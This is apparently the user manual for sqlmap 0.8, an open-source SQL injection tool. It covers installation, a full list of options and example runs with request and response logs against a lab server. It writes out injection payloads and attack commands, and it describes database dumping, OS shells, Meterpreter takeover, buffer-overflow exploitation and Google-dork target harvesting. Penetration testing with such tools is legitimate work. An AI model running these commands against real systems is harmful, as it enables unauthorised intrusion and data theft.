sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of back-end database servers. It comes with a broad range of features lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
sqlmap is developed in Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system. It only requires the Python interpreter version equal or above to 2.5. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter installed and other Unices and Mac OSX too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.
sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover features. You need to grab a copy of it from the download page. The required version is 3.4 or above.
If you plan to attack a web application behind NTLM authentication or use the sqlmap update functionality you need to install respectively python-ntlm and python-svn libraries.
Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard readline library on other operating systems.
You can also choose to install Psyco library to speed up the sqlmap algorithmic operations.
Let's say that you are auditing a web application and found a web page
that accepts dynamic user-provided values on GET or POST
parameters or HTTP Cookie values or HTTP User-Agent
header value.
You now want to test if these are affected by a SQL injection
vulnerability, and if so, exploit them to retrieve as much information as
possible out of the web application's back-end database management system
or even be able to access the underlying operating system.
Consider that the target url is:
http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
Assume that:
http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and:
http://172.16.213.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
differs from the original one, it means that you are in front of a SQL
injection vulnerability in the id GET parameter of the
index.php web application page which means that no IDS/IPS, no
web application firewall, no parameters' value sanitization is performed
on the server-side.
This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project rated on 2010 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability along with other injection flaws.
Back to the scenario, probably the SQL SELECT statement into
get_int.php has a syntax similar to the following SQL query, in
pseudo PHP code:
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
As you can see, appending any other syntatically valid SQL condition after
a value for id such condition will take place when the web
application passes the query to the back-end database management system
that executes it, that is why the condition id=1 AND 1=1 is valid
(True) and returns the same page as the original one, with the
same content and without showing any SQL error message.
Moreover, in this simple and easy to inject scenario it would be also
possible to append, not just one or more valid SQL condition(s), but also
stacked SQL queries, for instance something like [...]&id=1;
ANOTHER SQL QUERY# if the web application technology supports
stacked queries, also known as multiple statements.
Now that you found this SQL injection vulnerable parameter, you can
exploit it by manipulating the id parameter value in the HTTP
request.
There exist many resources on the Net explaining in depth how to prevent, how to detect and how to exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.
Passing the original address, http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
to sqlmap, the tool will automatically:
id in this scenario);sqlmap implements three techniques to exploit a SQL injection vulnerability:
SELECT sub-statement, or any other SQL statement whose the user
want to retrieve the output.
For each HTTP response, by making a comparison based upon HTML page
content hashes, or string matches, with the original request, the tool
determines the output value of the statement character by character.
The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each output character with at maximum seven HTTP
requests.
This is sqlmap default SQL injection technique.UNION ALL SELECT. This techique is useful if the web
application page passes the output of the SELECT statement to a
for cycle, or similar, so that each line of the query output is
printed on the page content.
sqlmap is also able to exploit partial (single entry) UNION query SQL
injection vulnerabilities which occur when the output of the statement
is not cycled in a for construct whereas only the first entry output is
displayed.
This technique is much faster if the target url is affected by because
in a single HTTP response it returns the whole query output or a entry
per each response within the page content.
This SQL injection technique is an alternative to the first one.;) followed by the
SQL statement to be executed. This technique is useful to run SQL
statements other than SELECT like, for instance, data
definition or data manipulation statements possibly leading
to file system read and write access and operating system command
execution depending on the underlying back-end database management system
and the session user privileges.You can watch several demo videos, they are hosted on YouTube and linked from here.
Features implemented in sqlmap include:
conversations/ folder, get the whole HTTP
request from a text file or get the list of targets by providing sqlmap
with a Google dork which queries
Google search engine and parses its results page. You can also
define a regular-expression based scope that is used to identify which of
the parsed addresses to test.
SELECT statement syntax to
perform further injections with. It is also possible to specify the only
parameter(s) that you want to perform tests and use for injection on.
Cookie header string support, useful when the
web application requires authentication based upon cookies and you have
such data or in case you just want to test for and exploit SQL injection
on such header. You can also specify to always URL-encode the Cookie
header.
Set-Cookie header from
the application, re-establishing of the session if it expires. Test and
exploit on these values is supported too. You can also force to ignore any
Set-Cookie header.
Referer header value and
the HTTP User-Agent header value specified by user or
randomly selected from a text file.
Some of these techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.
xp_cmdshell() stored procedure.
Also, the stored procedure is re-enabled if disabled or created from
scratch if removed.sys_bineval(). Supported on
MySQL and PostgreSQL.sys_exec() on
MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
Server.smb_relay server exploit
runs.sp_replwritetovarbin stored procedure heap-based buffer
overflow (
MS09-004) with automatic DEP bypass.getsystem command which include, among others,
the
kitrap0d technique (
MS10-015) or via
Windows Access Tokens insecure design by using Meterpreter's
incognito extension.
sqlmap can be downloaded from its SourceForge File List page. It is available in various formats:
You can also checkout the latest development version from the sqlmap Subversion repository:
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
If you download a source package (gzip, bzip2 or zip) or sqlmap from the Subversion repository, you can update it to the latest development version anytime by running:
$ python sqlmap.py --update
Or:
$ svn update
Viceversa if you download a binary package (deb, rpm or exe), the update feature is disabled.
There are some differences between the packages:
msfcli which is not available for Windows.It is therefore recommended to download any of the source packages and run it either from a shell like Bash on Unix and Mac OSX or from Cygwin on Windows.
sqlmap is released under the terms of the General Public License v2. sqlmap is copyrighted by Bernardo Damele A. G..
$ python sqlmap.py -h
sqlmap/0.8 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
Usage: sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-v VERBOSE Verbosity level: 0-5 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from.
-u URL, --url=URL Target url
-l LIST Parse targets from Burp or WebScarab proxy logs
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target urls
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target url.
--method=METHOD HTTP method, GET or POST (default GET)
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
--cookie-urlencode URL Encode generated cookie injections
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
--referer=REFERER HTTP Referer header
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
--auth-cred=ACRED HTTP authentication credentials (name:password)
--auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
--proxy=PROXY Use a HTTP proxy to connect to the target url
--ignore-proxy Ignore system default HTTP proxy
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--scope=SCOPE Regexp to filter targets from provided proxy log
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and how to parse and compare HTTP
responses page content when using the blind SQL injection technique.
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--os=OS Force back-end DBMS operating system to this value
--prefix=PREFIX Injection payload prefix string
--postfix=POSTFIX Injection payload postfix string
--string=STRING String to match in page when the query is valid
--regexp=REGEXP Regexp to match in page when the query is valid
--excl-str=ESTRING String to be excluded before comparing page contents
--excl-reg=EREGEXP Matches to be excluded before comparing page contents
Techniques:
These options can be used to test for specific SQL injection technique
or to use one of them to exploit the affected parameter(s) rather than
using the default blind SQL injection technique.
--stacked-test Test for stacked queries (multiple statements) support
--time-test Test for time based blind SQL injection
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-test Test for UNION query (inband) SQL injection
--union-tech=UTECH Technique to test for UNION query SQL injection
--union-use Use the UNION query (inband) SQL injection to retrieve
the queries output. No need to go blind
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements.
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
User-defined function injection:
These options can be used to create custom user-defined functions.
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system.
--read-file=RFILE Read a file from the back-end DBMS file system
--write-file=WFILE Write a local file on the back-end DBMS file system
--dest-file=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system.
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process' user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry.
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
Miscellaneous:
-s SESSIONFILE Save and resume all data retrieved on a session file
--flush-session Flush session file for current target
--eta Display for each output the estimated time of arrival
--gpage=GOOGLEPAGE Use google dork results from specified page number
--update Update sqlmap
--save Save options on a configuration INI file
--batch Never ask for user input, use the default behaviour
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
Option: -v
Verbose options can be used to set the verbosity level of output messages. There exist six levels. The default level is 1 in which information, warnings, errors and tracebacks (if any occur) will be shown. Level 2 shows also debug messages, level 3 shows also full HTTP requests, level 4 shows also HTTP responses headers and level 5 shows also HTTP responses page content.
Example on a MySQL 5.0.67 target (verbosity level 1):
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
[hh:mm:58] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:58] [INFO] testing connection to the target url
[hh:mm:58] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:59] [INFO] url is stable
[hh:mm:59] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:59] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:59] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:59] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:59] [INFO] GET parameter 'id' is dynamic
[hh:mm:59] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:59] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:59] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:59] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:59] [INFO] testing for parenthesis on injectable parameter
[hh:mm:59] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:59] [INFO] testing MySQL
[hh:mm:59] [INFO] confirming MySQL
[hh:mm:59] [INFO] retrieved: 0
[hh:mm:59] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
Example on a MySQL 5.0.67 target (verbosity level 2):
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2
[hh:mm:22] [DEBUG] initializing the configuration
[hh:mm:22] [DEBUG] initializing the knowledge base
[hh:mm:22] [DEBUG] cleaning up configuration parameters
[hh:mm:22] [DEBUG] setting the HTTP timeout
[hh:mm:22] [DEBUG] setting the HTTP method to GET
[hh:mm:22] [DEBUG] creating HTTP requests opener object
[hh:mm:22] [DEBUG] parsing XML queries file
[hh:mm:22] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:23] [INFO] url is stable
[hh:mm:23] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:23] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:23] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:23] [DEBUG] setting match ratio to 0.743
[hh:mm:23] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:23] [INFO] GET parameter 'id' is dynamic
[hh:mm:23] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:23] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:23] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:23] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:23] [INFO] testing for parenthesis on injectable parameter
[hh:mm:23] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:23] [INFO] testing MySQL
[hh:mm:23] [INFO] confirming MySQL
[hh:mm:23] [DEBUG] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:23] [INFO] retrieved: 2
[hh:mm:23] [DEBUG] performed 7 queries in 0 seconds
[hh:mm:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
Example on a MySQL 5.0.67 target (verbosity level 3):
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 3
[hh:mm:53] [DEBUG] initializing the configuration
[hh:mm:53] [DEBUG] initializing the knowledge base
[hh:mm:53] [DEBUG] cleaning up configuration parameters
[hh:mm:53] [DEBUG] setting the HTTP timeout
[hh:mm:53] [DEBUG] setting the HTTP method to GET
[hh:mm:53] [DEBUG] creating HTTP requests opener object
[hh:mm:53] [DEBUG] parsing XML queries file
[hh:mm:53] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:53] [INFO] testing connection to the target url
[hh:mm:53] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-agent: sqlmap/0.8
Connection: close
[...]
[hh:mm:54] [INFO] testing MySQL
[hh:mm:54] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20CONNECTION_ID%28%29=CONNECTION_ID%28%29%20AND%202385=2385 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-agent: sqlmap/0.8
Connection: close
[...]
Example on a MySQL 5.0.67 target (verbosity level 4):
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 4
[...]
[hh:mm:20] [DEBUG] initializing the configuration
[hh:mm:20] [DEBUG] initializing the knowledge base
[hh:mm:20] [DEBUG] cleaning up configuration parameters
[hh:mm:20] [DEBUG] setting the HTTP timeout
[hh:mm:20] [DEBUG] setting the HTTP method to GET
[hh:mm:20] [DEBUG] creating HTTP requests opener object
[hh:mm:20] [DEBUG] parsing XML queries file
[hh:mm:20] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:20] [INFO] testing connection to the target url
[hh:mm:20] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-agent: sqlmap/0.8
Connection: close
[hh:mm:20] [TRAFFIC IN] HTTP response (OK - 200):
Date: Sat, 20 Feb 2010 17:43:00 GMT
Server: Apache/2.2.9
X-Powered-By: PHP/5.2.6-1+lenny4
Vary: Accept-Encoding
Content-Length: 127
Connection: close
Content-Type: text/html
[...]
Example on a MySQL 5.0.67 target (verbosity level 5):
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5
[hh:mm:47] [DEBUG] initializing the configuration
[hh:mm:47] [DEBUG] initializing the knowledge base
[hh:mm:47] [DEBUG] cleaning up configuration parameters
[hh:mm:47] [DEBUG] setting the HTTP timeout
[hh:mm:47] [DEBUG] setting the HTTP method to GET
[hh:mm:47] [DEBUG] creating HTTP requests opener object
[hh:mm:47] [DEBUG] parsing XML queries file
[hh:mm:47] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
[hh:mm:47] [INFO] testing connection to the target url
[hh:mm:47] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.131
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-agent: sqlmap/0.8
Connection: close
[hh:mm:47] [TRAFFIC IN] HTTP response (OK - 200):
Date: Sat, 20 Feb 2010 17:44:27 GMT
Server: Apache/2.2.9
X-Powered-By: PHP/5.2.6-1+lenny4
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
</table>
</body></html>
[...]
At least one of these options has to be specified to set the source to get target addresses from.
Option: -u or --url
To run sqlmap against a single target URL.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1"
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5
Option: -l
Rather than providing a single target URL, it is possible to test and inject on HTTP requests proxied through Burp proxy or WebScarab proxy.
Example passing to sqlmap a WebScarab proxy conversations/ folder:
$ python sqlmap.py -l /tmp/webscarab.log/conversations/
[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
[hh:mm:43] [INFO] sqlmap got a total of 27 targets
[hh:mm:43] [INPUT] url 1:
GET http://172.16.213.131/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
c58b3780562
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D;
pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted;
pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
do you want to test this url? [Y/n/q] n
[hh:mm:46] [INPUT] url 2:
GET http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
do you want to test this url? [Y/n/q] y
[hh:mm:49] [INFO] testing url http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
[hh:mm:49] [INFO] testing connection to the target url
[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [INFO] url is stable
[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:50] [INFO] GET parameter 'id' is dynamic
[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
[hh:mm:29] [INFO] testing for parenthesis on injectable parameter
[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:29] [INFO] testing MySQL
[hh:mm:29] [INFO] retrieved: 99
[hh:mm:29] [INFO] confirming MySQL
[hh:mm:29] [INFO] retrieved: 1
[hh:mm:29] [INFO] retrieved: 9
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
[...]
Option: -r
One of the possibilities of sqlmap is loading of complete HTTP request packet stored in textual file. That way you can skip usage of bunch of other options.
Sample content of a HTTP request file:
POST /sqlmap/mysql/post_int.php HTTP/1.1
Host: 172.16.213.131
User-Agent: Mozilla/4.0
id=1
Example usage:
$ python sqlmap.py -r request.txt
[...]
[hh:mm:27] [INFO] parsing HTTP request from 'request.txt'
[...]
[hh:mm:21] [INFO] testing if POST parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that POST parameter 'id' is dynamic
[hh:mm:22] [INFO] POST parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on POST parameter 'id' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on POST parameter 'id'
[hh:mm:22] [INFO] confirming unescaped numeric injection on POST parameter 'id'
[hh:mm:22] [INFO] POST parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[hh:mm:22] [INFO] testing MySQL
[hh:mm:22] [INFO] confirming MySQL
[hh:mm:22] [INFO] retrieved: 3
[hh:mm:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.0
Option: -g
It is also possible to test and inject on GET parameters on the
results of your Google dork.
This option makes sqlmap negotiate with the search engine its session
cookie to be able to perform a search, then sqlmap will retrieve Google
first 100 results for the Google dork expression with GET parameters
asking you if you want to test and inject on each possible affected URL.
Example of Google dorking with expression site:yourdomain.com
ext:php:
$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1
[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
testable hosts
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
[hh:mm:40] [INFO] url 1:
GET http://yourdomain.com/example1.php?foo=12, do you want to test this
url? [y/N/q] n
[hh:mm:43] [INFO] url 2:
GET http://yourdomain.com/example2.php?bar=24, do you want to test this
url? [y/N/q] n
[hh:mm:42] [INFO] url 3:
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:49] [INFO] url is stable
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
[...]
Option: -c
It is possible to pass user's options from a configuration INI file, an
example is sqlmap.conf.
Example usage:
$ python sqlmap.py -c "sqlmap.conf"
[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
back-end DBMS: MySQL >= 5.0.0
Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite the same options, if set, in the provided configuration file.
These options can be used to specify how to connect to the target application.
GET or POSTOptions: --method and --data
By default the HTTP method used to perform HTTP requests is GET,
but you can change it to POST and provide the data to be sent
through POST request. Such data, being those parameters, are
tested for SQL injection like the GET parameters.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/post_int.php" --method POST \
--data "id=1"
[hh:mm:53] [INFO] testing connection to the target url
[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:54] [INFO] url is stable
[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
[hh:mm:54] [INFO] POST parameter 'id' is dynamic
[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
[...]
[hh:mm:54] [INFO] testing Oracle
[hh:mm:54] [INFO] retrieved: 9
[hh:mm:54] [INFO] confirming Oracle
[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
Cookie headerOptions: --cookie, --cookie-urlencode and --drop-set-cookie
This feature can be useful in two scenarios:
The steps to go through in the second scenario are the following:
Cookie value, then click on Copy to save its
value to the clipboard.Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/cookie_int.php" --cookie \
"id=1" -v 1
[hh:mm:37] [INFO] testing connection to the target url
[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:38] [INFO] url is stable
[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
[...]
Note that the HTTP Cookie header values are usually separated by
a ; character, not by an &.
If the web application at first HTTP response has a Set-Cookie
header, sqlmap will automatically use it's value in all further HTTP
requests as the Cookie header. sqlmap will also automatically
test that value for SQL injection, except if you run it with
--drop-set-cookie option.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" -v 3
[...]
[hh:mm:39] [INFO] testing connection to the target url
[hh:mm:39] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.128:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close
[...]
[hh:mm:40] [INFO] url is stable
[...]
[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
[hh:mm:40] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 172.16.213.128:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
[...]
If you provide an HTTP Cookie header value and the target URL
sends an HTTP Set-Cookie header, sqlmap asks you which one to use
in the following HTTP requests.
